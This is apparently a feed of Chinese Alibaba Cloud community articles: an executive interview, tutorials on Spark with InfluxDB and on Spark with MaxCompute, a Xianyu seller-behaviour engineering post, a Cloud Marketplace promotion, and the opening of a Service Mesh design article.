        新京报:如今政府倡导夜间经济,阿里巴巴哪个经济体会承担相应的职责?会是饿了么的本地生活吗?还是会有新的成员去负责这块业务?你认为这会是另一个翻倍成长的机会吗?

        张勇:一直以来,阿里都在不断探索各种新的商业和消费场景。正像你所提示的,我们当然留意到“夜经济”对整个阿里巴巴经济体业务的提振,这背后正是新商业活力的体现,我们也致力于更好地为用户提供吃穿用行的全方位体验。

        今年夏天,阿里巴巴也正式发布了《阿里巴巴“夜经济”报告》。我也在这里分享一些内容。我们可以看到,阿里巴巴丰富了人们夜间消费的图景,夜间淘宝网购占全天消费比例超36%,盒马鲜生、口碑饿了么等带动夜间餐饮消费增长,观影观演等文化消费成为夜间消费的新内容……超7亿消费者的购物车正在拉动夜经济增长。中小商户在夜间迎来生意的又一个高峰,不打烊的数字化公共服务在深夜值守,街头奔忙的外卖小哥、灯光下的淘宝主播、形形色色的人都感受过夜经济带来的变化。

        新京报:从下沉市场到夜间经济,中国的消费潜力正在逐步释放。在你看来下一个风口会是什么?消费如何连接世界?

        张勇:我一直跟团队讲,要做造风者,而不是追赶风口的人。重要的是去创造和定义风口,创造一个又一个新的机会。造风者是比较宏观的表达方式,具体到商业上,就是如何重新定义一个又一个新的场景。我们从来不把任何业务作为单一业务,每个业务都是新场景的延伸,它们共同构成一个生机勃勃的整体。

        同题问答

        新京报:你认为2019年中国经济最大的亮点是什么?2020年是否会延续?

        张勇:过去一年让我们感受深刻,同时也坚信会继续延续的,正是中国经济的增长越来越走向消费驱动、体验驱动。

        新京报:2020年最看好哪项新科技?

        张勇:我曾经分享过一个观点,大数据是能源,算力是引擎。算力将是未来技术进步的核心竞争力。对大数据的高效使用将是数字经济时代的核心能力。我们在今年云栖大会上也发布了自主研发的芯片含光800,它也是目前全球最强的AI推理芯片,我们必将在芯片领域和其他尖端科技领域继续探索。

        新京报:假如你在2020年开始创业?会做什么?为什么?

        张勇:阿里巴巴一直在不断开创新赛道,创造新机会。今年已经是我在阿里巴巴的第12年,我一直把自己定义为一个创造者,抱着创造者的心态去做事,才是乐趣所在。我们希望阿里巴巴成为员工实践新思考,创造新机会的最佳土壤,不仅是创造新产品、新技术、新业务,更是在创造新的工作方式,共同去创造未来。

        新京报:2019年哪项改革措施你最关注?

        张勇:阿里巴巴的20年很幸运成长于这个大时代,也感恩这个时代。中国拥有巨大的消费者基数,并且数字化程度最高,这是中国的巨大优势。

        可能很多人也看到了新闻,阿里巴巴技术委员会主席、阿里云的创始人王坚博士当选了中国工程院院士。王坚博士作为阿里这样的民营企业技术带头人代表当选院士,也是国家对阿里自主创新技术建设成果的巨大肯定。未来我们有义务站在世界级科技进步的第一线,承担更大的责任。

        转自创头条,原文链接:http://www.ctoutiao.com/2528598.html

        ]]>
        使用阿里云InfluxDB®和Spark Streaming实时处理时序数据 Fri, 02 May 2025 09:39:04 +0800 本文重点介绍怎样利用阿里云InfluxDB®和spark structured streaming来实时计算、存储和可视化数据。下面将介绍如何购买和初始化阿里云InfluxDB®,扩展spark foreach writer,以及设计阿里云InfluxDB®数据库时需要注意的事项。
        image
        在大数据处理中,一个主要的趋势是人们希望看到metric是如何随着时间变化发展。这使得管理和处理时序数据(数值随时间变化的数据)成为数据科学家非常重要的研究方向。目前,已经有非常多的时序处理数据库产品,如OpenTSDB,TimeScaleDB,InfluxDB以及Druid等。InfluxDB因为完整的生态、类SQL的查询语言以及简单快捷的布署而非常受用户喜爱,居于DBEngine时序数据排列首位。阿里云已经将其进行开源托管,并且完善了TIG(Telegraf/InfluxDB/Grafana)生态,即将推出托管的Kapacitor流处理报警组件。

        阿里云InfluxDB®

        关于时序数据的一些重要概念和如何购买阿里云InfluxDB®可以参考之前的文章<阿里云InfluxDB®教你玩转A股数据>和官方文档。这里补充一下阿里云InfluxDB®提供的实例规格和管理帐号的创建。
        image
        当前,阿里云InfluxDB®大致提供2C8G/4C16G/8C32G/16C64G/32C128G/64C256G等大致6种规格,每种规格的读写能力参考如上图所示。阿里云InfluxDB®开放了开源版的几乎全部功能,用户可以在控制台创建管理员帐号,该帐号可以通过客户端和SDK进行所有的操作。
        image

        Writing Data From Spark

        Spark是目前大数据处理领域中最流行、最高效的开源工具,通过spark structured streaming写数据到InfluxDB的开源适配器主要有chroniclerreactive-influx。chronicler与reactive-influx的区别是,在写入数据点之前,chronicler必须要将数据格式转换成influxdb行协议,在处理大量field字段和字符串值时会变得相当棘手,相较而言reactive-influx比较方便。
        在sbt项目中引入reactive-influx:

        libraryDependencies ++= Seq(
        "com.pygmalios" % "reactiveinflux-spark_2.11" % "1.4.0.10.0.5.1",
        "com.typesafe.netty" % "netty-http-pipelining" % "1.1.4"
        )

        InfluxDB entry 配置,其中阿里云InfluxDB®内网和公网的URL可以在控制台上找到:

        reactiveinflux {
          url = "ts-xxxxx.influxdata.rds.aliyuncs.com:3242/"
          spark {
            batchSize = 1000 // No of records to be send in each batch
          }
        }

        扩展spark foreach writer, enable spark stuctured streaming 向阿里云InfluxDB®写数据的伪代码如下:

        import com.pygmalios.reactiveinflux._
        import com.pygmalios.reactiveinflux.spark._
        import org.apache.spark.SparkConf
        import org.apache.spark.rdd.RDD
        import org.apache.spark.streaming.dstream.DStream
        import org.apache.spark.streaming.{Seconds, StreamingContext}
        import org.joda.time.DateTime
        import com.pygmalios.reactiveinflux.{ReactiveInfluxConfig, ReactiveInfluxDbName}
        import com.pygmalios.reactiveinflux.sync.{SyncReactiveInflux, SyncReactiveInfluxDb}
        import scala.concurrent.duration._
        class influxDBSink(dbName: String) extends org.apache.spark.sql.ForeachWriter[org.apache.spark.sql.Row] {
                
            var  db:SyncReactiveInfluxDb = _
            implicit val awaitAtMost = 1.second
                
            // Define the database connection here
            def open(partitionId: Long, version: Long): Boolean = {
            val syncReactiveInflux =
            SyncReactiveInflux(ReactiveInfluxConfig(None))
            db = syncReactiveInflux.database(dbName);
            db.create() // create the database 
            true
          }
          
            // Write the process logic, and database commit code here
            def process(value: org.apache.spark.sql.Row): Unit = {
            val point = Point(
              time = time,  // system or event time 
              measurement = "measurement1",
              tags = Map(
                "t1" -> "A", 
                "t2" -> "B"
              ),
              fields = Map(
                "f1" -> 10.3, // BigDecimal field
                "f2" -> "x",  // String field
                "f3" -> -1,   // Long field
                "f4" -> true) // Boolean field
            )
            
            db.write(point)
          }
          
          // Close connection here
          def close(errorOrNull: Throwable): Unit = {
          }
        }

        引入Writer:

        val influxWriter = new influxDBSink("dbName")
        val influxQuery = ifIndicatorData
                                            .writeStream
                                            .foreach(influxWriter)
                                            .outputMode("append")
                                            .start()

        可视化

        数据写入InfluxDB之后,便可以利用各种工具进行数据可视化,如Grafana,Chronograf等。一个简单的可视化展示如下:
        image
        当前阿里云InfluxDB®已经自带Grafana数据可视化,用户只需要在控制台一键开通既可,具体可以参考<5分钟快速完成监控系统搭建之实践篇>

        总结

        目前InfluxDB已经在阿里云完全托管,被用户广泛使用。随着商业化时间的发展,我们在提高稳定性和性能的同时,功能也一步步丰富起来。当前已经提供了TIG(Telegraf/InfluxDB/Grafana)生态,下一步将完全兼容TICK(Telegraf/InfluxDB/Chorograf/Kapacitor)生态。覆盖的业务场景包括DevOps监控、车联网、智慧交通、金融和IOT传感器数据采集,欢迎大家试用并提供意见。
        阿里云InfluxDB®为用户提供7*24小时服务,欢迎加入下面的钉钉群咨询。
        image

        参考文献

        1. Processing Time Series Data in Real-Time with InfluxDB and Structured Streaming
        2. 阿里云InfluxDB®教你玩转A股数据
        3. chronicler-spark
        4. reactiveinflux
        ]]>
        Spark在MaxCompute的运行方式 Fri, 02 May 2025 09:39:04 +0800 一、Spark系统概述

        image

        左侧是原生Spark的架构图,右边Spark on MaxCompute运行在阿里云自研的Cupid的平台之上,该平台可以原生支持开源社区Yarn所支持的计算框架,如Spark等。

        二、Spark运行在客户端的配置和使用

        2.1打开链接下载客户端到本地

        http://odps-repo.oss-cn-hangzhou.aliyuncs.com/spark/2.3.0-odps0.30.0/spark-2.3.0-odps0.30.0.tar.gz?spm=a2c4g.11186623.2.12.666a4b69yO8Qur&file=spark-2.3.0-odps0.30.0.tar.gz

        2.2将文件上传的ECS上

        image

        2.3将文件解压

        tar -zxvf spark-2.3.0-odps0.30.0.tar.gz
        

        2.4配置Spark-default.conf

        # spark-defaults.conf
        # 一般来说默认的template只需要再填上MaxCompute相关的账号信息就可以使用Spark
        spark.hadoop.odps.project.name =
        spark.hadoop.odps.access.id =
        spark.hadoop.odps.access.key =
        
        # 其他的配置保持自带值一般就可以了
        spark.hadoop.odps.end.point = http://service.cn.maxcompute.aliyun.com/api
        spark.hadoop.odps.runtime.end.point = http://service.cn.maxcompute.aliyun-inc.com/api
        spark.sql.catalogImplementation=odps
        spark.hadoop.odps.task.major.version = cupid_v2
        spark.hadoop.odps.cupid.container.image.enable = true
        spark.hadoop.odps.cupid.container.vm.engine.type = hyper
        

        2.5在github上下载对应代码

        https://github.com/aliyun/MaxCompute-Spark

        2.5将代码上传到ECS上进行解压

        unzip MaxCompute-Spark-master.zip
        

        2.6将代码打包成jar包(确保安装Maven)

        cd MaxCompute-Spark-master/spark-2.x
        mvn clean package
        

        2.7查看jar包,并进行运行

        bin/spark-submit --master yarn-cluster --class com.aliyun.odps.spark.examples.SparkPi 
        MaxCompute-Spark-master/spark-2.x/target/spark-examples_2.11-1.0.0-SNAPSHOT-shaded.jar
        

        三、Spark运行在DataWorks的配置和使用

        3.1进入DataWorks控制台界面,点击业务流程

        image

        3.2打开业务流程,创建ODPS Spark节点

        image

        3.3上传jar包资源,点击对应的jar包上传,并提交

        image

        image

        image

        3.4配置对应ODPS Spark的节点配置点击保存并提交,点击运行查看运行状态

        image

        四、Spark在本地idea测试环境的使用

        4.1下载客户端与模板代码并解压

        客户端:
        http://odps-repo.oss-cn-hangzhou.aliyuncs.com/spark/2.3.0-odps0.30.0/spark-2.3.0-odps0.30.0.tar.gz?spm=a2c4g.11186623.2.12.666a4b69yO8Qur&file=spark-2.3.0-odps0.30.0.tar.gz

        image

        模板代码:

        https://github.com/aliyun/MaxCompute-Spark

        4.2打开idea,点击Open选择模板代码

        image

        image

        4.2安装Scala插件

        image

        image

        4.3配置maven

        image

        4.4配置JDK和相关依赖

        image

        image

        欢迎加入“MaxCompute开发者社区2群”,点击链接申请加入或扫描二维码
        https://h5.dingtalk.com/invite-page/index.html?bizSource=____source____&corpId=dingb682fb31ec15e09f35c2f4657eb6378f&inviterUid=E3F28CD2308408A8&encodeDeptId=0054DC2B53AFE745
        image

        ]]>
        为了帮助卖家成交,闲鱼工程师做了些什么? Fri, 02 May 2025 09:39:04 +0800 作者:闲鱼技术-吴白

        引言

        闲鱼是一个C2C平台,提高卖家活跃度不仅有利于成交的提升,对于用户增长也有积极意义。而其中的关键点就在于其成交的效率。而个人卖家由于其专业程度不如专业卖家,成交效率往往并不高。我们希望可以实现两个提升:
        能帮助卖家提高其成交效率。

        可以快速的接入新的场景。

        通过对线上数据进行分析,我们发现一些有趣的现象,比如:使用真人头像的卖家,会有更多的用户访问其主页或商品(潜在的流量来源);回复积极的卖家更易成交;距离越近/信息越丰富的商品也更易售出。

        卖家行为闭环

        卖家活跃度最大的核心点在于是否能成交,所以我们以成交为抓手来提高卖家的在线活跃度。根据前面的观察,卖家行为可以影响其成交,这些影响有的显而易见,有的则没那么明显,基于这个我们做了一些尝试。

        基于卖家行为的尝试

        卖家的目的一定是成交,所以我们以成交转化为目的,基于线上的算法模型做了一轮模拟,模拟基于两个关键指标

        • 在线状态。当前用户在线状态以及距离上一次在线时长。
        • 询单回复统计。用户在过去半小时的询单回复情况。

        算法模型在这里不做涉及,因为有更专业的算法同学来完成,在这里我们只解决工程侧的问题。首先我们定义了用户在闲鱼上的行为4要素:1)when。2)where。3)what。4)who。when和where定义卖家的时间和空间纬度,what刻画了行为本身,who则是对于行为主体人的表达。

        另一方面卖家行为描述起来很简单,但是要正确识别却并不简单。比如一个完整的卖家回复行为需要做如下拆解

        1. 买家基于商品和卖家创建对话。
        2. 买家基于对话给卖家发送消息。
        3. 卖家基于对话回复买家消息。

        上面三个行为必须满足约束:1)时间有序。2)行为2可以重复发生。3)行为1,2,3之间可能存在干扰(自动回复,安全提醒等)。基于此我们选择用CEP来做复杂事件模型匹配,选型上对比轻量/灵活性/使用成本上综合对比了Siddhi以及flink cep,最终选择Siddhi来作为前期的cep计算引擎。

        以上是算法基于两个指标的模拟结果,数据因为安全原因进行了脱敏。纵轴越大表示成交越多。横轴表示基于用户在线状态&回复行为的多维特征。从模拟结果上可以看到在线状态&回复积极的卖家更容易促成成交,这从一个方面说明卖家的行为确实会潜在的影响其成交效率。

        构造完整闭环

        前面的分析结果说明我们的收益是正向的,但是这远远不够。首先面临的就是卖家如何知道哪些行为可以有助成交?卖家如何去感知这些行为带来的正向收益?

        前面说到我们的核心抓手是促成交,所以核心思想是构造上面这样一个完整的闭环来培养稳定的卖家心智,帮助其快速成交。

        我们最核心的路径是卖家引导->卖家行为->产生收益->感知收益。围绕着这个核心路径,分别设计了活动,任务,数据采集三大模块。

        • 活动关联若干任务,对卖家进行引导。
        • 任务用于规范卖家行为。
        • 数据用于卖家行为识别。

        在整个实现过程中我们遵循两个原则

        • 模块间互相解耦。实现过程中依赖了很多外部系统,明确彼此的边界,做到最小耦合。
        • 模块内单一职责。整个系统的核心是数据流。越简单越稳定,3我们希望降低维护成本,减少风险。

        我们希望可以达到两个目的:1)能帮助卖家提高其成交效率。2)可以快速的接入新的场景。总体实现架构如下

        活动

        活动引导卖家去进行对应的操作,并给出相应的利益点,负责

        • 活动元数据管理。
        • 对上层提供查询服务。
        • 从底层数据同步通道同步活动信息。
        • 容灾计算。虽然同步通道会将任务同步至活动,但是当底层通道出现异常时需要有机制保证可以同步从任务粒度实时计算出活动数据,容灾计算启动时系统整体性能降低。

        任务

        任务用来定义我们鼓励的卖家行为,解决以下问题

        • 元数据管理。包括任务定义及其任务完成之后的回调。

          • 任务定义。定义任务基本要素。
          • 回调。任务完成之后执行,任务执行结果同步在这里完成。
        • 任务初始化。数据均产自若干三方系统,主要来源于三部分:1)算法模型产出。2)数据分析。3)买家反馈。
        • 三方系统。用一套标准的交互协议实现解耦。
        • 数据一致性。任务模块涉及到多方的读写,需要保证数据的最终一致性。

          • 任务初始化/更新/任务查询分别组合成单向数据流,数据流彼此之间使用条件更新来保证数据的一致性。效果类似于乐观锁,但是整个系统不会因为并发写问题而导致性能瓶颈。

        数据同步通道

        同步通道根据活动元数据将任务粒度的数据同步至活动粒度,支持全量/增量两种同步模式。

        • 增量:实时同步任务数据。任务初始化/卖家完成任务。
        • 全量:全量一般在新增活动/活动规则变更时触发。需要解决

          • 分布式任务分发。分布式完成全量任务。
          • 操作幂等。操作可以重复,但不影响最终结果。
          • 全量增量彼此隔离,不影响在线服务。

        数据层

        数据层需要收敛卖家的行为数据。业务复杂度的差异导致其数据来源多样化:1)标准化的数据来源于闲鱼自研的Omega体系。2)差异化的数据来源多样化,包括日志采集/MQ消息/持久化存储设施。

        前面提到闲鱼卖家行为的4要素,数据收敛之后首先要做的就是将这些数据归一化,映射成标准行为数据。由于数据量级和复杂度的差异,最终我们根据行为数据复杂度的不同,采用不同的方式完成识别

        • 实时流计算。简单事件(聚合/关联等统计数据)匹配使用实时流计算来完成。资源消耗低,但缺乏灵活性,一些复杂事件虽然也能完成,但是代码复杂度高,不利于维护。
        • CEP引擎。复杂事件采用CEP引擎做跨事件的模式匹配。功能灵活,可读性强,但是资源消耗高。
        • 持久化。带状态的数据需要持久化,用于接下来的匹配计算。

        其他

        除去前面提到的三大模块之外,我们还补充了

        • 收益感知。为了加强卖家利益点的感知,在外围添加了收益感知模块,从三方在线系统回流数据作为活动效果的展示,刺激卖家行为,我们认为这有助于卖家心智的培养与增强。
        • 人群圈选。用于活动信息触达卖家。
        • 服务层。规范和端上的协议,提供渲染模版,活动查询,action配置等功能。

        匹配计算。

        效果

        当前已经落地了关联同款,基于卖家行为(在线状态指标&回复数据统计)的流量分配模型,真人头像等场景。
        基于卖家行为的流量分配分桶测试数据显示,成交转化有3个百分点的提升;目前新场景接入不需要开发介入,只需要运营挖掘出了关键行为数据,就能快速地在系统中落地上线。
        匹配计算。

        未来规划

        用户行为引导闭环归根结底是一个不断反馈,背后的逻辑是我们需要去更好的理解用户,用户是谁,怎么去刻画用户的行为还有很多有待深挖的点。
        卖家理解离不开行为数据的支撑。我们需要更完善的用户行为数据及特征向量作为底层的基础设施。

        有了完善的用户行为特征库,如何挖掘出对卖家更有价值的行为点加以引导,这些价值往往充满了差异性,需要结合个性化。

        目前的收益反馈机制还较为简单,增加卖家对行为利益点的感知,有助于培养成熟稳定的卖家心智。

        理解卖家只是第一步,电商领域无论是C2C还是C2B,都在讲导购,个性化。这种个性化可以将流量的价值最大化,但是其中也充满了不确定性,这时候确定性的卖家理解就可以更好的帮助到我们,去做流量匹配,做卖家运营。

        ]]>
        粗放增长到高效发展,阿里云云市场如何助力中小企业成功 Fri, 02 May 2025 09:39:04 +0800 11月27日, 阿里云和36氪在“北京36Kr Wise大会”上发布了中小企业加速平台,希望借助阿里云在云计算领域的技术和商业能力,同时应用36氪丰富的媒体资源及80万+企业数据,为中小企业成长保驾护航,希望“让中小企业真正专注于核心业务,让靠谱的企业服务惠及更多领域。”
        f7841d67e4c04082ac3e41f7641d21be (1).jpg

        纵观整个市场,90%中小企业难以走出一年立、两年赚、三年死的生存困局。远超3000万的中小企业贡献了全国60%以上的GDP,是企业服务领域的必争之地。但中小企业的需求在中国企业服务的市场并没有得到满足。BAT入局企业服务市场无疑能够对中小企业服务领域起到加速的作用。

        阿里云云市场的企业服务演进之路

        阿里云云市场是最早布局中小企业服务的BAT平台。从2013年7月发布以来,阿里云云市场一直在“让企业用好软件”的路上加速前行。

        2009年,阿里云开始布局云计算领域,推动了云周边市场的快速发展。2013年7月,阿里云云市场正式成立,专营云周边产品,通过镜像和API产品为企业发展赋能。

        2014年8月19日,阿里云推出一项名为“云合计划”的新计划,明确了其生态体系发展的3年目标:招募10000家云服务商。阿里云云市场一直关注中小企业服务市场,在这次计划中,阿里云云市场扩充商品种类至6000+,将SaaS产品在阿里云云市场订单中的占比提升至25%,打破了单一“云周边”售卖平台的印象,实现了向中小企业服务平台的正式转型。

        2016年阿里云发布“绿洲计划”,阿里云云市场开放阿里云的渠道体系为中小SaaS企业提供渠道赋能,阿里云云市场上有10家软件企业季度交易额过100万,3家合作伙伴的季度交易额过千万。

        2017年,“云合计划”升级,阿里云开始引入“智能”概念,打造智能云生态。阿里云云市场联合思科、SAP、Informatica、NetApp、中标软件、用友畅捷通、泛微、Fortinet、联想云等国内外知名软件企业推出商业软件15天免费试用计划,希望带动100万中小企业实现智能化转型。同年5月,超过1200家海内外知名软件商的逾4000款软件通过商业软件免费试用计划已实现在线服务。

        2019年,云市场的生态策略升级,输出服务商“心选”商业模式。阿里云云市场的心选模式是阿里云用心挑选“质量优、服务优、口碑优”的精品软件,面向企业客户提供优质的云上软件服务。目前,阿里云云市场心选已有小程序、企业智能营销、网站建设、财务软件、办公软件、党建云、安全产品、智慧校园等十个版块,涵盖畅捷通、夺冠互动、云梦、高德、口碑、奥哲、伯俊、南威、浩鲸、河长科技和e签宝等知名软件服务商,取得了头部服务商年交易额过亿,整体交易流水8倍增长的成果。

        2019年9月,云市场在云栖大会上发布了阿里云心选渠道伙伴招募计划:招募10家总代服务千万家中小企业,将云市场的中小企业服务效应进一步放大。云市场现在每年服务近百万家中小企业,涵盖企业应用、基础软件、上云服务、解决方案、IoT等多种场景。11月,阿里云云市场在《洞见2020中国企业服务年会》上荣获了“2019中国企业服务卓越平台奖”。

        阿里云云市场加速中小企业成长

        阿里云云市场被称为软件天猫,是一个提供标准化的SaaS软件交易及交付的平台。中小企业可以在阿里云云市场海量精品软件及服务中,选择最适合自己的服务,在节省企业应用开发成本的前提下,实现业务系统的高效构建和修改。云市场洞悉中小企业的各方诉求,通过平台的资源和能力,联合服务商输出优质产品和服务,满足中小企业的需求。

        1. 满足中小企业的营销诉求:小程序和CRM

        中小企业存活难,在经济形势不好的大背景下,中小企业还面临着同质化竞争激烈、人才资源稀缺、发展资金有限的艰难局面。中小企业想要渡过群狼环伺的幼年时期,业务增长和提高核心竞争力刻不容缓。小程序作为消费互联网时代最后的流量蓝海,已成中小企业实现业务增长的必要手段。但小程序具备开发难、管理难、运营难的特点。中小企业如何在万人过独木的竞争中占得先机成为了所有人关注的话题。

        夺冠互动是阿里云深度合作的小程序服务开发商,针对中小企业对小程序产品功能和多元营销场景需求,为用户提供“开发+管理+运营”全托管式的小程序开发服务,实现了多端合一、快速交付的能力。其中,餐饮品牌「阿白手作」借助阿里云小程序自建了点餐平台,与用户建立了全渠道链接,实现线上销量+线下流量无障碍通路,目前已发展了6家直营店与加盟店,完成了品牌从无到有、从有到优的转变。

        依托阿里云云市场提供的底层能力与渠道资源,夺冠互动累计开发并上线小程序10万+,上线商城、智慧餐厅、内容管理、培训等33个模块和3款营销插件,持续为中小企业赋能,成为了企业营销升级的中坚力量。此外,云市场还有多元的营销型产品,满足中小企业的获客以及会员管理的综合营销需求。

        2. 助力敏捷高效的企业管理:财务软件的SaaS化

        早在2017年,云市场的SaaS交易已经占到了整个市场的25%,对面临激烈市场竞争的中小型企业来说,选用标准化的SaaS产品既可以满足日常办公的基本需求,又可以实现快速部署上线应用。但是目前SaaS产品标准化依然是个难题,尤其是重型的财务ERP,高昂的造价和高度的定制化特性不满足中小企业的需求。

        畅捷通是云市场引入的第一家财务类SaaS供应商,畅捷通融合阿里云云市场,针对传统小微企业财务及管理转型问题,打造了云+应用新模式,助力企业向智能运营转型,合作产品包括:好会计、薪税管家、T+ / T+ Cloud、G6-e、易代账、T3。其中,中小企业——淄博深发汇源工贸公司通过使用畅捷通T+ 系统,旗下13家传统超市从需要耗费一周进行报表制作,到可以线上实时掌握库存动态,完成了公司内部财务的规范化管理,节省了时间和人力成本。

        通过阿里云技术和商业的赋能,畅捷通不仅推动了中小企业数字化转型,还实现了线上线下商机营销模型的搭建,实现了以大数据赋能技术融合、产品共创、商品售卖、生态交付,全链路的底层基础设施。最终使得畅捷通新增了2万多客户,销售金额近五千万,未来将赋能更多小微企业。

        3. 重视中小企业垂直赛道的成长加速:新零售

        随着中国企业数字化转型进入提速期,中小企业行业呈现赛道多元且日益垂直化的趋势。选用契合业务要求和行业领域的标准化企业应用服务,成为了中小企业在行业垂直领域提升核心竞争力,加速成长的重要通路。但是,中小企业的大部分需求极为分散且对标准化SaaS产品要求极高,中小企业的业务需求很难得到满足。

        云市场今年重点开辟了新零售和政务云市场,还有面向开发者的容器市场等,满足中小企业多元化的需求。百胜作为阿里云RPA的服务商,致力于为中国零售企业提供全渠道数字零售解决方案,帮助客户实现数字化转型和商业创新。百胜在新零售市场上架后,通过与阿里云RPA合作,共开发了188+个新零售流程,基本覆盖85%的新零售场景,使得企业的工作效率提升10倍。

        借助阿里云RPA的技术能力输出、阿里云云市场的平台优势,和百胜自身的服务能力,百胜实现了对新零售行业的进一步探索。目前百胜业务涵盖企业中台、云服务、零售分销、电子商务、移动应用、大数据应用、供应链等领域,成为国内知名的全渠道新零售解决方案服务商。

        中小企业走出死亡困境未来可期

        阿里云云市场凭借丰富的企业应用服务类目、健全的监管保障机制及前瞻的企业服务生态发展战略,满足了中小企业的不断发展和变化的业务需求,通过平台拥有的优质品类和金盾服务保障为中小企业客户赋能。

        截止目前,阿里云云市场已覆盖企业应用、基础软件、上云服务、解决方案、IoT等多种场景,每年服务近百万家企业,帮助中小企业一站式获取专业的产品与解决方案。

        上一个十年,阿里云实现了从西湖边无人知晓的“天方夜谭”到全球领先云计算服务平台的飞跃。下一个十年,阿里云将持续在云计算、大数据,人工智能(AI)等为代表的高新技术领域发力,改变企业服务领域的业务模式和发展格局。作为阿里云生态落地的最后一公里,阿里云云市场也将继续专注在中小企业服务领域,持续为客户输出标准化的企业服务软件,为服务商提供全方位技术、商业和品牌赋能,通过大平台的技术能力和商业资源为中小企业生存发展打下更加坚实的基础。

        加入中小企业加速平台,请戳:https://yida.alibaba-inc.com/o/start-up-accelerator#/
        0551c58e1af54381bcff2ebb3e75dd89.png

        ]]>
        Service Mesh 在『路口』的产品思考与实践 Fri, 02 May 2025 09:39:04 +0800 一、引言

        Service Mesh 是蚂蚁金服下一代架构的核心,经过了2年的沉淀,我们探索出了一套切实可行的方案并最终通过了双十一的考验。本文主要分享在当下『路口』,我们在产品设计上的思考和实践,希望能给大家带来一些启发。

        二、为什么需要 Service Mesh?

        2.1 微服务治理与业务逻辑解耦

        在 Service Mesh 之前,微服务体系的玩法都是由中间件团队提供一个 SDK 给业务应用使用,在 SDK 中会集成各种服务治理的能力,如:服务发现、负载均衡、熔断限流、服务路由等。

        在运行时,SDK 和业务应用的代码其实是混合在一个进程中运行的,耦合度非常高,这就带来了一系列的问题:

        1. 升级成本高
          1. 每次升级都需要业务应用修改 SDK 版本号,重新发布。
          2. 在业务飞速往前跑的时候,是不太愿意停下来做这些和自身业务目标不太相关的事情的。
        1. 版本碎片化严重
          1. 由于升级成本高,但中间件还是会向前发展,久而久之,就会导致线上 SDK 版本各不统一、能力参差不齐,造成很难统一治理
        1. 中间件演进困难
          1. 由于版本碎片化严重,导致中间件向前演进过程中就需要在代码中兼容各种各样的老版本逻辑,戴着『枷锁』前行,无法实现快速迭代

        有了 Service Mesh 之后,我们就可以把 SDK 中的大部分能力从应用中剥离出来,拆解为独立进程,以 Sidecar 的模式部署。通过将服务治理能力下沉到基础设施,可以让业务更加专注于业务逻辑,中间件团队则更加专注于各种通用能力,真正实现独立演进,透明升级,提升整体效率。

        2.2 异构系统统一治理

        随着新技术的发展和人员更替,在同一家公司中往往会出现使用各种不同语言、不同框架的应用和服务,为了能够统一管控这些服务,以往的做法是为每种语言、每种框架都重新开发一套完整的 SDK,维护成本非常高,而且对中间件团队的人员结构也带来了很大的挑战。

        有了 Service Mesh 之后,通过将主体的服务治理能力下沉到基础设施,多语言的支持就轻松很多了,只需要提供一个非常轻量的 SDK、甚至很多情况都不需要一个单独的 SDK,就可以方便地实现多语言、多协议的统一流量管控、监控等治理需求。

        图片来源

        2.3 金融级网络安全

        当前很多公司的微服务体系建设都建立在『内网可信』的假设之上,然而这个原则在当前大规模上云的背景下可能显得有点不合时宜,尤其是涉及到一些金融场景的时候。

        通过 Service Mesh,我们可以更方便地实现应用的身份标识和访问控制,辅之以数据加密,就能实现全链路可信,从而使得服务可以运行于零信任网络中,提升整体安全水位。

        三、在当下『路口』的思考

        3.1 云原生方案?

        正因为 Service Mesh 带来了上述种种的好处,所以这两年社区中对 Service Mesh 的关注度越来越高,也涌现出了很多优秀的 Service Mesh 产品,Istio 就是其中一款非常典型的标杆产品。

        Istio 以其前瞻的设计结合云原生的概念,一出现就让人眼前一亮,心之向往。不过深入进去看了之后发现,在目前阶段要落地的话,还是存在一些 gap 的。

        图片来源

        3.2 Greenfield vs Brownfield

        在正式展开讨论之前,我们先来看一副漫画。

        图片来源

        上面这幅漫画描绘了这样一个场景:

        • 有两个工人在工作,其中一个在绿色的草地(Greenfield)上,另一个在棕色的土地(Brownfield)上
        • 在绿色草地上的工人对在棕色土地上的工人说:“如果你没有给自己挖这么深的坑,那么你也可以像我一样做一些很棒的新东西”
        • 然后在棕色土地上的工人回答道:“你倒是下来试试!”

        这是一幅很有意思的漫画,从表面上看我们可以认为在绿色草地上的工人是站着说话不腰疼,不过其实本质的原因还是两者所处的环境不同。

        在一片未开发过的土地上施工确实是很舒服的,因为空间很大,也没有周遭各种限制,可以使用各种新技术、新理念,我们国家近几十年来的一些新区新城的建设就属于这类。而在一片已经开发过的土地上施工就大不一样了,周围环境会有各种限制,比如地下可能有各种管线,一不小心就挖断了,附近还有各种大楼,稍有不慎就可能把楼给挖塌了,所以做起事来就要非常小心,设计方案时也会受到各种约束,无法自由发挥。

        对于软件工程,其实也是一样的,Greenfield 对应着全新的项目或新的系统,Brownfield 对应着成熟的项目或遗留系统。

        我相信大部分程序员都是喜欢做全新的项目的,包括我自己也是一样。因为可以使用新的技术、新的框架,可以按照事物本来的样子去做系统设计,自由度很高。而在开发/维护一个成熟的项目时就不太一样了,一方面项目已经稳定运行,逻辑也非常复杂,所以无法很方便地换成新的技术、新的框架,在设计新功能时也会碍于已有的架构和代码实现做很多妥协,另一方面前人可能不知不觉挖了很多坑,稍有不慎就会掉进坑里,所以行事必须要非常小心,尤其是在做大的架构改变的时候。

        3.3 现实场景

        3.3.1 Brownfield 应用当道

        在现实中,我们发现目前大部分的公司还没有走向云原生,或者还刚刚在开始探索,所以大量的应用其实还跑在非 k8s 的体系中,比如跑在虚拟机上或者是基于独立的服务注册中心构建微服务体系。

        虽然确实有少量 Greenfield 应用已经在基于云原生来构建了,但现实是那些大量的 Brownfield 应用是公司业务的顶梁柱,承载着更大的业务价值,所以如何把它们纳入 Service Mesh 统一管控,从而带来更大的价值,也就成了更需要优先考虑的话题。

                                    图片来源                                                          独立的服务注册中心

        3.3.2 云原生方案离生产级尚有一定距离

        另一方面,目前 Istio 在整体性能上还存在一些有待解决的点(引述小剑老师在蚂蚁金服 Service Mesh 深度实践中的观点):

        1. Mixer
          1. Mixer 的性能问题,一直都是 Istio 中最被人诟病的地方。
          2. 尤其在 Istio 1.1/1.2 版本之后引入了 Out-Of-Process Adapter,更是雪上加霜。
          3. 从落地的角度看,Mixer V1 糟糕至极的性能,已经是“生命无法承受之重”。对于一般规模的生产级落地而言,Mixer 性能已经是难于接受,更不要提大规模落地……
